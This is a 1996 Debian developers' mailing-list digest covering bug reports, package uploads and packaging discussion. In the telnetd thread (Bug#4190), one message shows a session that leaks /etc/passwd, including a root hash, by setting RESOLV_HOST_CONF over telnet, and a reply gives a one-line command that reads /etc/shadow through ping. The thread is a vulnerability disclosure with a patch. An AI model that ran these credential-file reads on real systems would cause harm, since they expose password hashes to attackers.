Bug#4189: dselect highlights too many lines when TERM=linux

[Lars Wirzenius]

"Susan G. Kleinmann":
> Wishing to see the colored version of dselect, I tried this from a
> color xterm:
> 
> # export TERM=linux
> # dselect

"linux" is, of course, the wrong terminal type. For color xterm's, the
correct type is "xterm-color". (dselect doesn't seem to be using colors
in the main menu, but it does in the selection screen.) Not that it works
too well for me, anyway (color-aware programs seem to want to prefer the
background to be black, and will set it to back when exiting).

-- 
Rural sizes win <[EMAIL PROTECTED]> 
Please don't Cc: me when replying to my message on a mailing list.




pgpu2gSZ0spVE.pgp
Description: PGP signature

Bug#4189: dselect highlights too many lines when TERM=linux

[Susan G. Kleinmann]

Lars Wirzenius wrote:
> "someone else who is now trying to hide her identity wrote:":
> > Wishing to see the colored version of dselect, I tried this from a
> > color xterm:
> > 
> > # export TERM=linux
> > # dselect
> 
> "linux" is, of course, the wrong terminal type. For color xterm's, the
> correct type is "xterm-color". (dselect doesn't seem to be using colors
> in the main menu, but it does in the selection screen.) Not that it works
> too well for me, anyway (color-aware programs seem to want to prefer the
> background to be black, and will set it to back when exiting).

Oops.  Right you are.  

BTW, whether TERM=linux or TERM=xterm-color, dselect DTRT when it is
invoked with one of the menu options, e.g., 
   dselect access
brings up a nicely colored screen.


(Susan <-- needing very small font here.)

Uploaded: mount 2.5l-1

[Rob Leslie]

Uploaded to master.debian.org.

This is the author's own response to the mount/umount security issues, and so
should replace the previous 2.5k-1 release which incorporated unofficial
patches.

Bruce, would you like to respond to the recent inquiry about Debian's
vulnerability status with regard to mount/umount, mentioning that all versions
prior to 2.5k-1 are vulnerable and recommending 2.5l-1 as the official remedy
(as soon as it has been placed into the archive)? Or if you'd prefer I prepare
something, please let me know. Thanks.


-BEGIN PGP SIGNED MESSAGE-

Date: 19 Aug 96 03:23 UT
Format: 1.6
Distribution: unstable
Urgency: Low
Maintainer: Robert Leslie <[EMAIL PROTECTED]>
Source: mount
Version: 2.5l-1
Binary:  mount
Architecture:  i386 source
Description: 
 mount: Tools for mounting and manipulating filesystems.
Changes: 
 * New upstream version.
Files:
 78dc8abbd116d67f69d5c99e2d1b86bc  53374  base  -  mount_2.5l-1.tar.gz
 1b7cec2510e8470012fb2c9a1a3f5e92  3116  base  -  mount_2.5l-1.diff.gz
 6672530030f9a6c42451ace74c7510ca  41470  base  required  mount_2.5l-1_i386.deb

-BEGIN PGP SIGNATURE-
Version: 2.6.2

iQB1AwUBMhfeSwfFLymttX8tAQHb+QL5Af1sJcbUh/9Sp2DDCf2RPxZQMT8yGBcv
lHV7GofgbLMsL/K26dGGeAs8g5AazVG31goeF6o2l/Bu7gJxLkK6RplLeMCVCSqc
9eQsuoodyyttWGbdnvPceoDODmrv3PKZ
=ablG
-END PGP SIGNATURE-


-- 
Robert Leslie
[EMAIL PROTECTED]

Bug#4190: moderate security hole in telnetd

[Klee Dienes]

Package: netstd
Version: 2.06-1

A bug currently making the rounds on the bugtraq mailing list:

The resolver library appears to allow the environment variable
RESOLV_HOST_CONF to be used to specify a pathname for an alternate
host.conf.  It also has the unfortunate behavior of printing the text
of any parse errors in the host.conf library to standard output (bad
karma for a system library, if you ask me).  This allows outsiders to
get the contents of any file over the network:

$ telnet 
telnet> env define RESOLV_HOST_CONF /etc/passwd
telnet> open localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Debian Linux 1.1
Copyright (C) 1993-1996 Debian Association, Inc. and others
resolv+: "root:M87U9DfM9eek:0:0:root:/root:/bin/bash" is an invalid keyword
resolv+: "daemon:*:1:1:daemon:/usr/sbin:/bin/sh" is an invalid keyword
resolv+: "bin:*:2:2:bin:/bin:/bin/sh" is an invalid keyword
resolv+: "sys:*:3:3:sys:/dev:/bin/sh" is an invalid keyword
[...]

A quick workaround is to change envarok() in telnetd/state.c as
appended.  My guess is that only telnetd needs to be changed for now,
as neither rlogin nor rsh (if I remember correctly) allow the client
to pass in environment variables.  All the programs should probably be
checked, though.

static int
envvarok(varp,valp)
char *varp, *valp;
{
if (strncmp(varp, "LD_", strlen("LD_")) &&
strncmp(varp, "ELF_LD_", strlen("ELF_LD_")) &&
strncmp(varp, "AOUT_LD_", strlen("AOUT_LD_")) &&
strncmp(varp, "_RLD_", strlen("_RLD_")) &&
!strchr(varp, '=') &&
strcmp(varp, "LIBPATH") &&
strcmp(varp, "ENV") &&
strcmp(varp, "IFS")) {
return 1;
} else {
...

to:

static int
envvarok(varp,valp)
char *varp, *valp;
{
if (strncmp(varp, "LD_", strlen("LD_")) &&
strncmp(varp, "ELF_LD_", strlen("ELF_LD_")) &&
strncmp(varp, "AOUT_LD_", strlen("AOUT_LD_")) &&
strncmp(varp, "_RLD_", strlen("_RLD_")) &&
!strchr(varp, '=') &&
strcmp(varp, "LIBPATH") &&
strcmp(varp, "ENV") &&
strcmp(varp, "RESOLV_HOST_CONF") &&
strcmp(varp, "HOSTALIASES") &&
strcmp(varp, "LOCALDOMAIN") &&
strcmp(varp, "RES_OPTIONS") &&
strcmp(varp, "IFS")) {
return 1;
} else {
...

Re: Uploaded: mount 2.5l-1

[Mr Stuart Lamble]

[snipped]
> Urgency: Low
   ^^^

Where a security fix is involved, shouldn't the urgency be a little bit
higher than "low"? (especially where the problem affects many systems.)

metamail_2.7-6

[Michael Meskes]

-BEGIN PGP SIGNED MESSAGE-

Date: 16 Aug 96 13:58 UT
Format: 1.6
Distribution: unstable
Urgency: Low
Maintainer: Michael Meskes <[EMAIL PROTECTED]>
Source: metamail
Version: 2.7-6
Binary:  metamail
Architecture:  i386 source
Description: 
 metamail: An implementation of MIME.
Changes: 
 metamail (2.7-6) mail; urgency=LOW
 .
* Corrected tr usage in mailcap file
Files:
 9a992e3b8b580b989c897bf153252cb9  172294  mail  -  metamail_2.7-6.tar.gz
 327cf8190a0546a4963d2c569561b986  50348  mail  -  metamail_2.7-6.diff.gz
 cb24c8a60e810a430a65ae89bafb99f0  147834  mail  optional  
metamail_2.7-6_i386.deb

-BEGIN PGP SIGNATURE-
Version: 2.6.2i

iQCVAwUBMhR+yypaNcQEtuj1AQHPnQP/fpoxMuf4MX8/mgkHd0EFkYtnoTHqBlSp
G+3ij/7qmJ5RIiL890sPoH0SFWGiSp7+g0WoxcLQ5+vmfXObhQx2JKTr2ptrJqtc
CLL3joPLPznvfbvdxQYXBmpFhLOB7Hbw+TbAf8yAog3f/zrwgPGi0S/hrk3hbY/K
0uvIpJ7dcnI=
=galN
-END PGP SIGNATURE-

-- 
Michael Meskes   |_  __  
[EMAIL PROTECTED] |   / ___// / // / / __ \___  __
[EMAIL PROTECTED]  |   \__ \/ /_  / // /_/ /_/ / _ \/ ___/ ___/
[EMAIL PROTECTED]|  ___/ / __/ /__  __/\__, /  __/ /  (__  )
Use Debian Linux!| //_/  /_/  //\___/_/  //

Re: Shadow problems

[Miquel van Smoorenburg]

You (Rob Browning) wrote:
> Hmm, I often use newgrp when I'm about to do a set of actions where I
> want to make sure all the new files get a particular group.  For
> example, say I'm building a package in my home directory and I want
> all the files created to be group src because I'm likely to move them
> to /usr/src/ later.
> 
> Is there some other way to achieve this?

You can ofcourse make the new directory setgid (chmod g+s). All files
created in that directory will have their gid set to that of the directory..

But I can see that using newgrp might be more convenient

Mike.
-- 
  Miquel van| Cistron Internet Services   --Alphen aan den Rijn.
  Smoorenburg,  | mailto:[EMAIL PROTECTED]  http://www.cistron.nl/
[EMAIL PROTECTED] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data)

Re: Shadow problems

[Miquel van Smoorenburg]

You (Michael Meskes) wrote:
> > M> 1) Should we change the login package to be shadow aware? Or should 
> > shadow
> I talked to Guy (login maintainer) about this problem a while ago and treid
> to persuade him to use ths shadow login as standard (it works without the
> shadow file, too). But he prefers to keep the old one. 

If we're going to change over to shadow totally, we'll need the shadowized
login. The util-linux one is very simplistic and it would be stupid IMHO
to rewrite it when a better one is readily available (and when you have to
keep patching it up every time a new upstream util-linux is released).

Mike.
-- 
  Miquel van| Cistron Internet Services   --Alphen aan den Rijn.
  Smoorenburg,  | mailto:[EMAIL PROTECTED]  http://www.cistron.nl/
[EMAIL PROTECTED] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data)

Re: Shadow problems

[Miquel van Smoorenburg]

You (Richard Kaszeta) wrote:
> Quick question (which may show some of my ignorance of the current
> linux shadow stuff):
> 
> Will inclusion of the 'shadow' package as default interfere with the
> use of NIS passwd/group entries? Our installation is fairly dependent
> on NIS.

NIS and shadow don't interfere.

Mike.
-- 
  Miquel van| Cistron Internet Services   --Alphen aan den Rijn.
  Smoorenburg,  | mailto:[EMAIL PROTECTED]  http://www.cistron.nl/
[EMAIL PROTECTED] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data)

sudo_1.4.5-1

[Michael Meskes]

-BEGIN PGP SIGNED MESSAGE-

Date: 19 Aug 96 09:34 UT
Format: 1.6
Distribution: unstable
Urgency: Low
Maintainer: Michael Meskes <[EMAIL PROTECTED]>
Source: sudo
Version: 1.4.5-1
Binary:  sudo
Architecture:  i386 source
Description: 
 sudo: Provides limited super user privileges to specific users.
Changes: 
 sudo (1.4.5-1) admin; urgency=LOW
 .
* New upstream version
* Minor changes to debian.rules
Files:
 e2346ff5a19852df2d90d5beb4fca5c2  176347  admin  -  sudo_1.4.5-1.tar.gz
 2c6cbe170978e75ae0c2e5d42d5756e4  11765  admin  -  sudo_1.4.5-1.diff.gz
 65690a63c14c84f1c06303ffac455bfb  56584  admin  optional  sudo_1.4.5-1_i386.deb

-BEGIN PGP SIGNATURE-
Version: 2.6.2i

iQCVAwUBMhg1TypaNcQEtuj1AQEVwAP9Fo2Z4bTDO0yjwjPZVbr2r10oLQpqLesi
D+LxxuNZoaRbgW/khMEqgkLdKJQXNipSAxAkVsM/szN3bgaAfsHsMQx+9ZqiYVDu
pG7aZtnok/gOmoCczaoV/J/R98+qqcAEbxhht0nS1mx9fHM5eKa1tWAUrpZltYRA
dRM/En/LEz8=
=J0Te
-END PGP SIGNATURE-

-- 
Michael Meskes   |_  __  
[EMAIL PROTECTED] |   / ___// / // / / __ \___  __
[EMAIL PROTECTED]  |   \__ \/ /_  / // /_/ /_/ / _ \/ ___/ ___/
[EMAIL PROTECTED]|  ___/ / __/ /__  __/\__, /  __/ /  (__  )
Use Debian Linux!| //_/  /_/  //\___/_/  //

Re: Updated Virtual Package Name List

[Nils Rennebarth]

On Thu, 8 Aug 1996, Warwick HARVEY wrote:
>metafontThe TeX Metafont program
>dvilj, dvipsProvided by dviljk, dvipsk (? - iwj)
These came up due to a misunderstanding of the guidelines.
They are no longer needed and I will remove them when I update the TeX
related packages.

Nils

--
Coming again: Best quotes of the net. Today:  | Nils Rennebarth
Kristian Köhntopp <[EMAIL PROTECTED]| Schillerstr. 61 
>>I'd also be interested in the comparison [of Linux] | 37083 Göttingen
>>with a cisco router. I assume a factor of about ten.| ++49-551-71626
>What? faster or slower?  | http://www.nus.
Cheaper!  | de/~nils

Re: New source format and related issues...

[Ian Jackson]

Michael Alan Dorman writes ("New source format and related issues..."):
...
> I've looked at the docs, I've examined hello and dpkg, and I'll be
> damned if I can find any information that would allow me to actually
> reproduce the files that were uploaded to master, and assuming that
> dpkg was in fact build with the utilties it includes, this is
> annoying.

Both dpkg and hello were built with those utilities.

> My first problem stems from the simple fact that the new process of
> building a package isn't terribly well documented in the programmers
> manual---it devotes a whole sentence to saying "Look at
> dpkg-source(1)".  Since I missed that sentence, I was baffled for a
> while.

I'll see what I can do about this.

> This was compounded by the fact that, since the 'source' target is
> still listed in the .PHONY target, when you do 'debian/rules source',
> you get "Nothing to do for target source", rather than "Don't know how
> to make source", or even better, "Source is an obsolete target, please
> use dpkg-source".

This will be fixed in the next hello package.

> Anyways, I finally figured out that I had to invoke dpkg-source.  So I
> tried dpkg-source, and here's what I get:
> 
> dpkg-source: building hello in hello_1.3.orig.tar.gz
> tar: Cowardly refusing to create an empty archive
> Try `tar --help' for more information.
> dpkg-source: failure: tar gave error exit status 2
> 
> Since I had both appropriate hello-1.3 and hello-1.3.orig directories,
> I figured maybe I was doing something wrong in invoking dpkg-source,
> so I looked around a little more and found dpkg-buildpackage.  After
> figuring out that it needs to be run from within the debian source
> directory, I ran it, and lo and behold, it has the same problem with
> dpkg-source that I do.

Well, all I can say is that it doesn't do this for me.

Can you send me, privately,
 (a) what command line you're invoking dpkg-source with
 (b) the output of `find -ls' in the directory where you're invoking
 it ?

> So, I've got the tools, but I can't get them to work, and furthermore,
> most of them aren't even mentioned in the draft programmers manual
> that goes to great lengths to document the files and requirements and
> so forth, without ever really discussing the the tools, or how to use
> them.

The tools are documented in the manpage.  Have you read the manpage ?

I'll try to put some less reference-oriented documentation in the
programmers' manual.

...
> Also, on the subject of our available examples: I think the
> debian/rules file in the hello source package makes at least 1 poor
> decisions in how certain things should be implemented---and given that
> prospective maintainers are often pointed in its direction, I think we
> should take care of these before immortalizing them.

If you send me good patches to hello I'll integrate and release them.

I'm not going to defer the release of the new source format because
the examples aren't ideal.

...
> It would also be nice if we could produce some simple tools that would
> help take care of some of the small administrative headaches
> automatically---say, a tool that would look through the debian
> directory and install all appropriate files into the DEBIAN directory,
> running them through any appropriate filters.

`cp' ?

> Another useful tool would go through the temporary directory structure
> and assign permissions and ownerships.  Certains parts of the tree
> (*/bin, */man, you get the idea) would have defaults associated with
> them (0755, for */bin, 0644, for */man, root.root owning everything,
> etc).  The package maintainer would then need only supply the program
> with a list of the exceptions (along with correct perms and
> ownership), and the rules file then could just execute _that_ command
> with su -c, since nothing else would need that access (well, the clean
> command might).

Feel free to write this command.  I don't have time, I'm afraid.

> Now I know that there are always situations in which this just
> wouldn't work, and that's fine---there's nothing that stops a rules
> file from overriding parts of this when necessary.  The important
> thing is that tools like this would make the creation of 90%+ package
> that much more automated, and most likely that much more free of the
> little bugs that clutter up the bug system.

Yes.

Ian.

Re: how to test for SLIP devices

[Bernd Eckenfels]

Hi,

> I think it should be enough to check for the string `slip' in /proc/modules
> and the string `sl?:' in /proc/net/dev. Is this correct?

sl?: will only be in /proc/net/devif you have any serial line in xSLIBy mode
(alsattach or dip running). If there ius no serial/pty line in linemode,
there is no entry in /proc/net/dev. There is no real good way to check for
slip availability other than stting up a pty and tryaing an slattach (or
soemthing similiar).

Greetings
Bernd

Perl `pod' documentation should be in /usr/doc or not installed

[Ian Jackson]

Package: perl
Version: 5.003-2

This package contains some documents in a Perl-specific documentation
format called `pod'.  These files are installed in /usr/lib/perl5, eg
/usr/lib/perl5/POSIX.pod oor /usr/lib/perl5/pod/perlop.pod.

They should be somewhere in /usr/doc, or (since they're distributed in
manpage form in /usr/man too) not installed in the package.

Ian.

Bug#4190: moderate security hole in telnetd

[Bernd Eckenfels]

> A quick workaround is to change envarok() in telnetd/state.c as
> appended.  My guess is that only telnetd needs to be changed for now,
> as neither rlogin nor rsh (if I remember correctly) allow the client
> to pass in environment variables.

Is this environment variable sourced for SUID/SGID programs, too? If yes,
there can be situations where ppl can fake address/name mappings which would
be otherwise trusted (cause they ae in /etc/hosts). Removing that feature
sounds like the best solution

Greetings
bernd

Re: Packaging questions (newbie)

[joost witteveen]

> 
> I'd like to contribute some packages, but I'd like to ask some
> questions first:
> 
> 1. One of these packages is the replacement of `libX11.so'.  Do I have to make
> whole alternative version of appropriate standard X package or is there some
> way to make small "one-file-replacement" package?

One way of doing it is making your own directory, say,
  /usr/X11R6/lib/xczech
put your czech version of libX11.so in that dir, and, in the postinst
add the /usr/X11R6/lib/xczech to the front of /etc/ld.so.conf.
(and remove it again in the postrm).

This is the way it is done in Xaw3d, and seems to work reasonable well.

> 2. Some of these packages (like X fonts) would be related to ISO-8859-2 only
> and some of them (like Czech fonts and format files for TeX) are even
> interesting only for Czech speaking users.  It is probably not good idea to
> place Czech-only packages to the main tree.  Or it is?

Well, I think it is. There are the german man pages, and I think a
few non-english dictionaries in the main tree too. And, put it another
way, most of the main-tree is only of interest to the english-speaking
community -- why would we discriminate against czech?

Then again, I come from Europe to, and my first language isn't English
eighter.

Good luck with your packages!

-- 
joost witteveen
[EMAIL PROTECTED]
  [EMAIL PROTECTED]
--
Use Debian/GNU Linux!

Question about latex package

[Richard Kaszeta]

Many of the latex package's files contain these lines (these
particular copied from preload.dc in latex_2e-7.deb):

%% IMPORTANT NOTICE:
%% You are not allowed to distribute this file.
%% For distribution of the original source see
%% the copyright notice in the file preload.dtx .

I see nothing in the copyright file that says we can distribute the
files, only the source (in this case preload.dtx).

I am pretty sure we are inline with the 'spirit' of the latex3 team's
intent, but it might be nice for someone to look a little further into
this to make sure.

-- 
Richard W Kaszeta   Graduate Student/Sysadmin
[EMAIL PROTECTED]   University of MN, ME Dept
http://www.menet.umn.edu/~kaszeta

Bug#4191: Latex_2e-7 has redundant files

[Richard Kaszeta]

Latex_2e-7 keeps a set of preload files in both /etc and
/usr/lib/texmf/tex/latex/config, both identical filesets.  One of
these should be eliminated.

-- 
Richard W Kaszeta   Graduate Student/Sysadmin
[EMAIL PROTECTED]   University of MN, ME Dept
http://www.menet.umn.edu/~kaszeta

Bug#4192: "input in flex scanner failed"

[Joey Hess]

Package: man
Version: 2.3.10-13

I get this error when mandb is trying to process the xjewel.1x manpage:

[EMAIL PROTECTED] ~log>man xjewel
Reformatting xjewel(1), please wait...
input in flex scanner failed
[EMAIL PROTECTED] ~log>mandb -d
...
ult_src: File /usr/X11R6/man/man1/xjewel.1x
input in flex scanner failed

Xjewel isn't a debian package yet (actually, I was packaging it up when I
noiticed this problem), so here is the man page that's causing this
problem. It also seems a little messed up (esp the KEYS section) if I view
it with "man -l xjewel.man", so I suspect it contains something it
shouldn't, but I don't know anough about manpages to know where the
problem is.

--xjewel.man---
.TH JEWEL 6 "December 1992" "X Version 11"
.SH NAME

xjewel \- X windows droping jewels game

.SH SYNOPSIS

.B xjewel

.SH DESCRIPTION

.I Jewel
is a droping block game akin to tetris. 

It is played by controling the motion of blocks which continue to fall from
the top of the screen.  One can move them left and right, as well as
rotate the jewel segements.  The object is to get the most points before
the grim reaper ends the fun.

Death happens when the screen is no longer capable of holding any more
blocks.  To make high scores more interesting, you are given but three
attempts to get points -- use them wisely.

As the game progresses, and more jewels are removed, the speed of the game
will increase.  This is measured in seconds of delay between steps of
block motion.

.SH KEYS

There are three sets of keys that can be used:
.br
( or any combination )

Option 1:
.TS
center tab (%) ;
| cw(1.25i) | cw(1.25i) | cw(1.25i) | 
  c   c   c
  c   c   c .
_
J %  K %  L 
_
|  %   |   %  | 
move block left % rotate block % move block right
.TE
.TS
center tab (%) ;
_   l
| cw(1.25i) | l
_   l.

SPACE  % <- drop block

.TE

Option 2:

.TS
center tab (%) ;
| cw(1.25i) | cw(1.25i) | cw(1.25i) |
  c   c   c
  c   c   c .
_
4 %  5 %  6
_
|  %   |   %  |
move block left % rotate block % move block right
.TE
.TS
center tab (%) ;
_   l
| cw(1.25i) | l
_   l.

0  % <- drop block

.TE

.if n .ne 8
Option 3: (cursor keypad)

.TS
center tab (%) ;
  l_l 
  cw(1.25i) | cw(1.25i) | l
  l_l  
| cw(1.25i) | cw(1.25i) | cw(1.25i) |
  c   c   c
  c   c   c .

 %  \(ua %  - rotate block

_
\(<- %  \(da  %  \(->
_
|  %   |   %  |
move block left % rotate block % move block right
.TE

.SH ROTATIONS

The folowing rotations are possible:
( there are no others )

.TS
center tab (%);
_ % cw(1i) % _ % cw(1i) % _
| cw(1i) | % cw(1i) % | cw(1i) | % cw(1i) % | cw(1i) |
_ % cw(1i) % _ % cw(1i) % _
| cw(1i) | % cw(1i) % | cw(1i) | % cw(1i) % | cw(1i) |
_ % cw(1i) % _ % cw(1i) % _
| cw(1i) | % cw(1i) % | cw(1i) | % cw(1i) % | cw(1i) |
_ % cw(1i) % _ % cw(1i) % _ .

1 % % 3 % % 2

2 % \(rh % 1 % \(rh % 3

3 % % 2 % % 1

.TE

.SH SCORING

The basic way to get points is to unite the jewels to form triplet (or
higher) matches.  This can be done in any direction, and can be
accomplished in more than one part of the board at one time.  As the
jewels are removed, the board falls to fill the spaces -- matches may
again occur.

These teritiary matches provide an interesting part to the game due to the
formula for calculating points:

( 300 (for base triplet) + 150 * (each additional jewel) ) * 2^order

where order is the number of the repeition from which the match
occured.

As a light at the end of the bleak tunnel, a WILD CARD is available.  The
wild block will be given at infrequent intervals, and will give the user
the points for one triplet by removing all the jewels of a particular
shape/color.

To add some interest to the game, points are awarded for dropping the
block from a height above its resting place.  This is accumlated at 10
points per level above the place it will rest.

.SH STAGES

There are no changes for the higher levels, although the speed increases,
proportionaly to the level.  Stage increases with the successful
completion of the 50 jewels required per level.  The current status is
shown in the REST field.

.SH NOTES

This game was originally written by Yoshihiro Satoh of HP.  I have made a
modest attempt to replicate Domain/JewelBox under X.

I have somewhat rudely taken the bitmaps from the original game and
created this version.  I hold the copyright for the code, as I created
it, but I hold no claim to the bitmaps which were freely
distributed with the Domain version.

NOTE: I have attempted to reach the holder of the original copyright to 
ascertain his acceptance for the release of this game, he did not, or was
not able to reply.

REDISTRIBUTION in source or binary from is permited as long as adequate
notation of the originators is retained, including the developer of the 
original Domain/Jewlbox, Yoshihiro Satoh.

USE AT YOUR OWN RISK AND PERIL, I MAKE NO CLAIM OF USEABILITY OR WARANTY..

.SH ORIGINAL NOTATIONS
>Authors
.br
>---
.br
>
.br
>

Bug#4190: moderate security hole in telnetd

[Miquel van Smoorenburg]

You (Bernd Eckenfels) wrote:
> > A quick workaround is to change envarok() in telnetd/state.c as
> > appended.  My guess is that only telnetd needs to be changed for now,
> > as neither rlogin nor rsh (if I remember correctly) allow the client
> > to pass in environment variables.
> 
> Is this environment variable sourced for SUID/SGID programs, too? If yes,

Yep. If you have shadow, try this:

RESOLV_HOST_CONF=/etc/shadow ping localhost

> there can be situations where ppl can fake address/name mappings which would
> be otherwise trusted (cause they ae in /etc/hosts). Removing that feature
> sounds like the best solution

That would be HOST_ALIASES, and that's on just about every BSD derived
system on the planet. (You can have fun with it though). That doesn't
look dangerous, btw; you can't change the reverse mappings.

This should be fixed in the library, I think. I see no real reason
for justifying these environment variables; nobody seemed to know they
were there in the first place (still, I think the telnet trick _was_
kind of neat).

Mike.
-- 
  Miquel van| Cistron Internet Services   --Alphen aan den Rijn.
  Smoorenburg,  | mailto:[EMAIL PROTECTED]  http://www.cistron.nl/
[EMAIL PROTECTED] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data)